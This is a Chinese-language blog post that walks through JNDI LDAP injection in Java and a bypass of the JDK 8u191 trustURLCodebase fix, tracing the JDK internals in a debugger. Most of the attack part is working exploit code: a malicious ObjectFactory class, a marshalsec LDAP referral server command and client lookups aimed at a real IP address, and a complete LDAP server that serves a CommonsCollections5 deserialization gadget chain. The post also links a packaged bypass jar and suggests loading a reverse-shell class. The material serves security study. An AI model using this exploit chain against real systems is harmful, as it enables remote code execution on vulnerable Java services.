• JNDI注入和JNDI注入Bypass


      之前分析了fastjson,jackson,都依赖于JDNI注入,即LDAP/RMI等伪协议

      JNDI RMI基础和fastjson低版本的分析:https://www.cnblogs.com/piaomiaohongchen/p/14780351.html

      今天围绕JNDI LDAP注入,RMI先不搞了.

      一图胜千言:

        图片是偷的threezh1的:    

     看这个图,就感觉很清晰.

      测试ldap攻击:jdk版本选择:jdk8u73 ,测试环境Mac OS

      jdk8系列各个版本下载大全:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

      恶意类:Exploit.java:

    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.io.IOException;
    import java.io.Serializable;
    import java.util.Hashtable;
    
    public class Exploit implements ObjectFactory, Serializable {
        public Exploit(){
            try{
                Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
            }catch (IOException e){
                e.printStackTrace();
            }
    
        }
    
        public static void main(String[] args){
            Exploit exploit = new Exploit();
        }
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            return null;
        }
    }

      编译成class文件即可.

      使用marshalsec构建ldap服务,服务端监听:

      

    /root/jdk-14.0.2/bin/java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://119.45.227.86/#Exploit 6666

      

      客户端发起ldap请求:

      客户端代码:

        

    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class JNDIClient {
        public static void main(String[] args) throws NamingException {
            new InitialContext().lookup("ldap://119.45.227.86:6666/a");
        }
    }

     

      坑:可能客户端都是jdk8u73,但是发现不能ldap命令执行,八成是vps的原因,对Exploit.java文件编译,要使用较低版本的jdk,我这里编译Exploit.java文件,使用的jdk版本是:

      

      如果你是用jdk>8的版本编译,然后运行ldap服务,是不能执行命令成功的,因为客户端是1.8*版本,请求的class是>1.8的,是不可以的,jdk是向下兼容的,所以建议恶意类文件编译采用jdk<=1.8版本,为了稳定期间选择我这里jdk1.6.

      jndi ldap执行命令原理分析刨析:

        debug:

        

      跟进去,深入跟踪函数一直到这里:

      getObjectFactoryFromReference: 

      文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

      可通过反射加载进去单独设置debug:   

    static ObjectFactory getObjectFactoryFromReference(
            Reference ref, String factoryName)
            throws IllegalAccessException,
            InstantiationException,
            MalformedURLException {
            Class<?> clas = null;
    
            // Try to use current class loader
            try {
                 clas = helper.loadClass(factoryName);
            } catch (ClassNotFoundException e) {
                // ignore and continue
                // e.printStackTrace();
            }
            // All other exceptions are passed up.
    
            // Not in class path; try to use codebase
            String codebase;
            if (clas == null &&
                    (codebase = ref.getFactoryClassLocation()) != null) {
                try {
                    clas = helper.loadClass(factoryName, codebase);
                } catch (ClassNotFoundException e) {
                }
            }
    
            return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
        }

     先看注释:

      继续debug:

      如果是本地的class文件加载:

      

      就直接loadClass加载本地class文件即可.

      但是我们这里是客户端远程加载ldap地址:

      

      走这个逻辑:

      

      发现多了个codebase:

      跟进loadClass:

      

       查看debug视图页面:

      

       codebase是我们的ldap的地址:

        

      最后返回:

        

      触发命令执行:

       

      通过上面debug知道codebase是个url地址,那么什么是codebase呢?

      

    简单说,codebase就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上codebase的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
    
    你要弄清楚哪个设置codebase,而哪个使用codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置codebase(例如jdk的类对象,就不用设置codebase)。 
    
    codebase实际上是一个url表,在该url下有接受方需要下载的类文件。假如你不设置codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。 

      可以这么说jndi ldap远程加载本质上就是:codebase+classname 

      

      提高jdk版本为:jdk8u191:

      再次客户端发起ldap请求:

       

      会发现,有ldap请求,但是没有命令执行成功:

      开启debug进去看看:

        回到老地方:

      getObjectFactoryFromReference: 

      文件地址:/Library/Java/JavaVirtualMachines/jdk1.8.0_73.jdk/Contents/Home/jre/lib/rt.jar!/javax/naming/spi/NamingManager.class:

      跟进loadClass:
      

      多了一个判断:

      贴代码:

        

     public Class<?> loadClass(String className, String codebase)
                throws ClassNotFoundException, MalformedURLException {
            if ("true".equalsIgnoreCase(trustURLCodebase)) {
                ClassLoader parent = getContextClassLoader();
                ClassLoader cl =
                        URLClassLoader.newInstance(getUrlArray(codebase), parent);
    
                return loadClass(className, cl);
            } else {
                return null;
            }
        }

      直接走了else,不能在反射实例化了..  

     gg了,默认情况下,trustURLCodebase=false,如果还想jdni ldap命令执行成功,就要想办法让trustURLCodebase=true:

        

      网上已经给了解决方案来看看:

        来试一把:

      依赖环境:

        

          <dependency>
                <groupId>com.unboundid</groupId>
                <artifactId>unboundid-ldapsdk</artifactId>
                <version>3.1.1</version>
            </dependency>
            <dependency>
                <groupId>commons-collections</groupId>
                <artifactId>commons-collections</artifactId>
                <version>3.2.1</version>
            </dependency>

        LdapServer.java:

    package com.test.fastjson.jndi;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.InetAddress;
    import java.net.URL;
    import java.util.HashMap;
    import java.util.Map;
    
    public class LdapServer {
        private static final String LDAP_BASE = "dc=example,dc=com";
    
        public static void main ( String[] tmp_args ) throws Exception{
            String[] args=new String[]{"http://119.45.227.86/#Exploit"};
            int port = 7777;
    
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
            }
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "foo");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
    
                e.addAttribute("javaSerializedData",CommonsCollections5());
    
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
        }
    
        private static byte[] CommonsCollections5() throws Exception{
            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
            };
    
            ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,chainedTransformer);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
            BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
            Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException,tiedMapEntry);
    
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(badAttributeValueExpException);
            objectOutputStream.close();
    
            return byteArrayOutputStream.toByteArray();
        }
    }

       运行LdapServer.java,启动服务端:

        

      客户端调用ldap: 

    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class JNDIClient {
        public static void main(String[] args) throws NamingException {
            new InitialContext().lookup("ldap://127.0.0.1:7777/a");
        }
    }

         

      成功执行命令,bypass trustURLCodebase=false的修复方案,debug下,看看是怎么导致命令执行的:

      debug跟进函数,看比较重要的文件:

      /Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/LdapCtx.class

      摘出代码:

      

    if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
                    var3 = Obj.decodeObject((Attributes)var4);
                }

      发现会判断获取到数组的第二个位置的值,是否为空,不为空就走Obj.decodeObject:

      跟进decodeObject:

      查看JAVA_ATTRIBUTES:

     把元素都存储在了数组中,可以把他们理解成这是key,get(*),获取的是值,就是value:

       把debug重要部分代码贴出来:

      

    static Object decodeObject(Attributes var0) throws NamingException {
            String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
    
            try {
                Attribute var1;
                if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                    ClassLoader var3 = helper.getURLClassLoader(var2);
                    return deserializeObject((byte[])((byte[])var1.get()), var3);
                } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                    return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
                } else {
                    var1 = var0.get(JAVA_ATTRIBUTES[0]);
                    return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
                }
            } catch (IOException var5) {
                NamingException var4 = new NamingException();
                var4.setRootCause(var5);
                throw var4;
            }
        }

      获取数组第四个元素就是java codebase即ldap地址:

      继续往下:

      

      debug发现value是:

      JAVA_ATTRIBUTES[1]=javaserializeddata -> {LdapAttribute@893} "javaSerializedData: [B@66d2e7d9"

      var2=java codebase,classloader加载的是codebase:

      跟进去:

       重中之重:/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/ldap/VersionHelper12.class

      文件位置:  

     ClassLoader getURLClassLoader(String[] var1) throws MalformedURLException {
            ClassLoader var2 = this.getContextClassLoader();
            return (ClassLoader)(var1 != null && "true".equalsIgnoreCase(trustURLCodebase) ? URLClassLoader.newInstance(getUrlArray(var1), var2) : var2);
        }

      如果var1不为空,设置trustURLCodebase=true!!!

       这样他又可以classloader加载了!

      

      下一步走到这里,反序列化codebase:

     

       

      跟进desrializeObject方法,调用readObject,触发rce:

      

      为了走我们debug的流程触发rce,所以exp里面需要给属性设置内容

      

       设置的值是反射加载调用实例化:

     

      

      改造exp:让我们更方便的进行jdk高版本下的jndi ldap利用:

      演示效果,实现自定义恶意类定义+自定义ldap端口:

      vps上监听:

    java -jar Java_Test.jar http://119.45.227.86/#Exploit 1234

     

     

      客户端发起远程ladp请求:

      

    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class JNDIClient {
        public static void main(String[] args) throws NamingException {
            new InitialContext().lookup("ldap://119.45.227.86:1234/a");
        }
    }

     如果想反弹shell,在自己vps上写个反弹shell的恶意类,编译后,远程加载,即可反弹shell

      bypass jar包下载地址:http://119.45.227.86/hello.zip

      关于jndi jdk高版本bypass其他方法,等我有时间,再来补全!累了!

     jdni注入学习参考:https://threezh1.com/2021/01/02/JAVA_JNDI_Learn/#RMI%E4%B8%8ELDAP        

  • 相关阅读:
    第二十六篇 -- wifi学习
    第三篇 -- HTML基础
    第二十九篇 -- 学习第五十六天打卡20190826
    第二篇 -- 软件测试基础
    第一篇 -- 计算机基础
    第二十五篇 -- C++宝典中的图书管理系统
    第五篇 -- 记下曾经的好词好句
    linux平台下Tomcat的安装与优化、windows安装tomcat8.5
    转载:让Windows Server 2012r2 IIS8 ASP.NET 支持10万并发请求
    转载:IIS 之 连接数、并发连接数、最大并发工作线程数、队列长度、最大工作进程数
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14864041.html
Copyright © 2020-2023  润新知